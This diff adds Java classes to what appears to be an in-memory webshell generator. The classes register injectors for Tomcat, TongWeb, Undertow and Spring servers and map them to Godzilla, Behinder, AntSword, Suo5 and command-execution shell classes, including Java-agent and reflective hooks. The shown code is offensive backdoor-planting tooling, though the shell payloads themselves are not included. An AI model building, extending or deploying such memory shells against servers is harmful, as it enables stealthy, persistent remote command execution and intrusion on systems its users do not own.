.addShellClass(SERVLET, AntSwordServlet.class) + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword)) + .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java new file mode 100644 index 00000000..d8f03cb4 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.memshell.server; + +/** + * @author ReaJason + * @since 2025/2/22 + */ +public class ServerToolRegistry { + + public static void addToolMapping(){ + + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java new file mode 100644 index 00000000..dc97f521 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java @@ -0,0 +1,58 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction; +import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod; +import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; +import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler; +import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter; +import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerFunctionInjector; +import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxHandlerMethodInjector; +import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxNettyHandlerInjector; +import com.reajason.javaweb.memshell.springwebflux.injector.SpringWebFluxWebFilterInjector; +import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class SpringWebFluxShell extends AbstractShell { + public static final String WEB_FILTER = "WebFilter"; + public static final String HANDLER_METHOD = "HandlerMethod"; + public static final String HANDLER_FUNCTION = "HandlerFunction"; + public static final String NETTY_HANDLER = "NettyHandler"; + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(WEB_FILTER, SpringWebFluxWebFilterInjector.class) + .addInjector(HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class) + .addInjector(HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class) + .addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class) + .build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(WEB_FILTER, CommandWebFilter.class) + .addShellClass(HANDLER_METHOD, CommandHandlerMethod.class) + .addShellClass(HANDLER_FUNCTION, CommandHandlerFunction.class) + .addShellClass(NETTY_HANDLER, CommandNettyHandler.class) + .build()); + + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(WEB_FILTER, GodzillaWebFilter.class) + .addShellClass(HANDLER_METHOD, GodzillaHandlerMethod.class) + .addShellClass(HANDLER_FUNCTION, GodzillaHandlerFunction.class) + .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) + .build()); + + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(WEB_FILTER, Suo5WebFilter.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java new file mode 100644 index 00000000..378ddec3 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebMvcShell.java @@ -0,0 +1,85 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor; +import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; +import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor; +import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor; +import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; +import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; +import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; +import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +public class SpringWebMvcShell extends AbstractShell { + public static final String INTERCEPTOR = "Interceptor"; + public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor"; + public static final String CONTROLLER_HANDLER = "ControllerHandler"; + public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; + public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet"; + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(INTERCEPTOR, SpringWebMvcInterceptorInjector.class) + .addInjector(JAKARTA_INTERCEPTOR, SpringWebMvcInterceptorInjector.class) + .addInjector(CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) + .addInjector(JAKARTA_CONTROLLER_HANDLER, SpringWebMvcControllerHandlerInjector.class) + .addInjector(AGENT_FRAMEWORK_SERVLET, SpringWebMvcFrameworkServletAgentInjector.class) + .build(); + } + + @Override + protected void init() { + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(INTERCEPTOR, CommandInterceptor.class) + .addShellClass(JAKARTA_INTERCEPTOR, CommandInterceptor.class) + .addShellClass(CONTROLLER_HANDLER, CommandControllerHandler.class) + .addShellClass(JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class) + .addShellClass(AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class) + .build()); + + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(INTERCEPTOR, GodzillaInterceptor.class) + .addShellClass(JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) + .addShellClass(CONTROLLER_HANDLER, GodzillaControllerHandler.class) + .addShellClass(JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class) + .addShellClass(AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class) + .build()); + + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(INTERCEPTOR, BehinderInterceptor.class) + .addShellClass(JAKARTA_INTERCEPTOR, BehinderInterceptor.class) + .addShellClass(CONTROLLER_HANDLER, BehinderControllerHandler.class) + .addShellClass(JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class) + .addShellClass(AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class) + .build()); + + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(INTERCEPTOR, Suo5Interceptor.class) + .addShellClass(JAKARTA_INTERCEPTOR, Suo5Interceptor.class) + .addShellClass(CONTROLLER_HANDLER, Suo5ControllerHandler.class) + .addShellClass(JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class) + .build()); + + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(INTERCEPTOR, AntSwordInterceptor.class) + .addShellClass(JAKARTA_INTERCEPTOR, AntSwordInterceptor.class) + .addShellClass(CONTROLLER_HANDLER, AntSwordControllerHandler.class) + .addShellClass(JAKARTA_CONTROLLER_HANDLER, AntSwordControllerHandler.class) + .addShellClass(AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class) + .build()); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java new file mode 100644 index 00000000..6606ecd8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java @@ -0,0 +1,133 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; +import com.reajason.javaweb.memshell.shelltool.command.*; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.injector.*; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.implementation.bytecode.assign.Assigner; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/11/22 + */ +public class TomcatShell extends AbstractShell { + public static final String WEBSOCKET = "WebSocket"; + public static final String UPGRADE = "Upgrade"; + public static final String EXECUTOR = "Executor"; + + public static class ListenerInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + try { + response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = ShellCommonUtil.getFieldValue(request, "response"); + } + } + } + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(SERVLET, TomcatServletInjector.class) + .addInjector(JAKARTA_SERVLET, TomcatServletInjector.class) + .addInjector(FILTER, TomcatFilterInjector.class) + .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) + .addInjector(LISTENER, TomcatListenerInjector.class) + .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) + .addInjector(VALVE, TomcatValveInjector.class) + .addInjector(JAKARTA_VALVE, TomcatValveInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) + .addInjector(AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .addInjector(WEBSOCKET, TomcatWebSocketInjector.class) + .build(); + } + + @Override + protected void init() { + Class commandListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Command); + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(SERVLET, CommandServlet.class) + .addShellClass(JAKARTA_SERVLET, CommandServlet.class) + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(JAKARTA_FILTER, CommandFilter.class) + .addShellClass(LISTENER, commandListenerClass) + .addShellClass(JAKARTA_LISTENER, commandListenerClass) + .addShellClass(VALVE, CommandValve.class) + .addShellClass(JAKARTA_VALVE, CommandValve.class) + .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) + .addShellClass(WEBSOCKET, CommandWebSocket.class) + .build()); + + Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Godzilla); + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(SERVLET, GodzillaServlet.class) + .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class) + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, godzillaListenerClass) + .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) + .addShellClass(VALVE, GodzillaValve.class) + .addShellClass(JAKARTA_VALVE, GodzillaValve.class) + .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) + .build()); + + Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Behinder); + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(SERVLET, BehinderServlet.class) + .addShellClass(JAKARTA_SERVLET, BehinderServlet.class) + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(JAKARTA_FILTER, BehinderFilter.class) + .addShellClass(LISTENER, behinderListenerClass) + .addShellClass(JAKARTA_LISTENER, behinderListenerClass) + .addShellClass(VALVE, BehinderValve.class) + .addShellClass(JAKARTA_VALVE, BehinderValve.class) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) + .build()); + + Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.Suo5); + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(SERVLET, Suo5Servlet.class) + .addShellClass(JAKARTA_SERVLET, Suo5Servlet.class) + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5Filter.class) + .addShellClass(LISTENER, suo5ListenerClass) + .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) + .addShellClass(VALVE, Suo5Valve.class) + .addShellClass(JAKARTA_VALVE, Suo5Valve.class) + .build()); + + Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(ListenerInterceptor.class, ShellTool.AntSword); + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(SERVLET, AntSwordServlet.class) + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, antSwordListenerClass) + .addShellClass(VALVE, AntSwordValve.class) + .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) + .build()); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java new file mode 100644 index 00000000..06e4c4a8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java @@ -0,0 +1,101 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6; +import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6; +import com.reajason.javaweb.memshell.tongweb.command.CommandValve6; +import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6; +import com.reajason.javaweb.memshell.tongweb.injector.*; +import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class TongWeb6Shell extends AbstractShell { + + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(FILTER, TongWebFilterInjector.class) + .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) + .addInjector(LISTENER, TongWebListenerInjector.class) + .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) + .addInjector(VALVE, TongWebValveInjector.class) + .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) + .addInjector(AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) + .build(); + } + + @Override + protected void init() { + + Class commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command); + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(JAKARTA_FILTER, CommandFilter.class) + .addShellClass(LISTENER, commandListenerClass) + .addShellClass(JAKARTA_LISTENER, commandListenerClass) + .addShellClass(VALVE, CommandValve6.class) + .addShellClass(JAKARTA_VALVE, CommandValve6.class) + .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) + .build()); + + Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla); + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, godzillaListenerClass) + .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) + .addShellClass(VALVE, GodzillaValve6.class) + .addShellClass(JAKARTA_VALVE, GodzillaValve6.class) + .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) + .build()); + + Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder); + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(JAKARTA_FILTER, BehinderFilter.class) + .addShellClass(LISTENER, behinderListenerClass) + .addShellClass(JAKARTA_LISTENER, behinderListenerClass) + .addShellClass(VALVE, BehinderValve6.class) + .addShellClass(JAKARTA_VALVE, BehinderValve6.class) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) + .build()); + + Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5); + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5Filter.class) + .addShellClass(LISTENER, suo5ListenerClass) + .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) + .addShellClass(VALVE, Suo5Valve6.class) + .addShellClass(JAKARTA_VALVE, Suo5Valve6.class) + .build()); + + Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword); + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, antSwordListenerClass) + .addShellClass(VALVE, AntSwordValve6.class) + .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java new file mode 100644 index 00000000..6b514910 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java @@ -0,0 +1,100 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7; +import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7; +import com.reajason.javaweb.memshell.tongweb.command.CommandValve7; +import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7; +import com.reajason.javaweb.memshell.tongweb.injector.*; +import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/27 + */ +public class TongWeb7Shell extends AbstractShell { + @Override + protected InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(FILTER, TongWebFilterInjector.class) + .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) + .addInjector(LISTENER, TongWebListenerInjector.class) + .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) + .addInjector(VALVE, TongWebValveInjector.class) + .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) + .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) + .addInjector(AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) + .build(); + } + + @Override + protected void init() { + + Class commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command); + addToolMapping(ShellTool.Command, ToolMapping.builder() + .addShellClass(FILTER, CommandFilter.class) + .addShellClass(JAKARTA_FILTER, CommandFilter.class) + .addShellClass(LISTENER, commandListenerClass) + .addShellClass(JAKARTA_LISTENER, commandListenerClass) + .addShellClass(VALVE, CommandValve7.class) + .addShellClass(JAKARTA_VALVE, CommandValve7.class) + .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) + .build()); + + Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla); + addToolMapping(ShellTool.Godzilla, ToolMapping.builder() + .addShellClass(FILTER, GodzillaFilter.class) + .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) + .addShellClass(LISTENER, godzillaListenerClass) + .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) + .addShellClass(VALVE, GodzillaValve7.class) + .addShellClass(JAKARTA_VALVE, GodzillaValve7.class) + .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) + .build()); + + Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder); + addToolMapping(ShellTool.Behinder, ToolMapping.builder() + .addShellClass(FILTER, BehinderFilter.class) + .addShellClass(JAKARTA_FILTER, BehinderFilter.class) + .addShellClass(LISTENER, behinderListenerClass) + .addShellClass(JAKARTA_LISTENER, behinderListenerClass) + .addShellClass(VALVE, BehinderValve7.class) + .addShellClass(JAKARTA_VALVE, BehinderValve7.class) + .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) + .build()); + + Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5); + addToolMapping(ShellTool.Suo5, ToolMapping.builder() + .addShellClass(FILTER, Suo5Filter.class) + .addShellClass(JAKARTA_FILTER, Suo5Filter.class) + .addShellClass(LISTENER, suo5ListenerClass) + .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) + .addShellClass(VALVE, Suo5Valve7.class) + .addShellClass(JAKARTA_VALVE, Suo5Valve7.class) + .build()); + + Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword); + addToolMapping(ShellTool.AntSword, ToolMapping.builder() + .addShellClass(FILTER, AntSwordFilter.class) + .addShellClass(LISTENER, antSwordListenerClass) + .addShellClass(VALVE, AntSwordValve7.class) + .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) + .addShellClass(AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) + .build()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ToolMapping.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ToolMapping.java new file mode 100644 index 00000000..938b98cb --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ToolMapping.java @@ -0,0 +1,37 @@ +package com.reajason.javaweb.memshell.server; + +import lombok.Builder; +import lombok.Singular; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/2/21 + */ +@Builder +public class ToolMapping { + + @Singular("addShellClass") + private final Map> shellClassMap; + + public List getSupportedShellTypes() { + return new ArrayList<>(shellClassMap.keySet()); + } + + public Map, Class>> getShellClassMap(InjectorMapping injectorMapping) { + Map, Class>> result = new LinkedHashMap<>(); + for (String type : injectorMapping.getSupportedShellTypes()) { + Class shellClass = shellClassMap.get(type); + Class injectorClass = injectorMapping.getInjector(type); + if (shellClass != null && injectorClass != null) { + result.put(type, Pair.of(shellClass, injectorClass)); + } + } + return result; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java new file mode 100644 index 00000000..db4eb0a7 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java @@ -0,0 +1,120 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; +import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor; +import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor; +import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor; +import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor; +import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector; +import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector; +import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector; +import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.implementation.bytecode.assign.Assigner; + +import java.util.Map; + +import static com.reajason.javaweb.memshell.ShellType.*; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class UndertowShell extends AbstractShell { + public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; + + public static class ListenerInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) Object response) throws Exception { + Map map = (Map) ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "exchange"), "attachments"); + Object[] keys = map.keySet().toArray(); + for (Object key : keys) { + if (map.get(key).toString().contains("ServletRequestContext")) { + response = 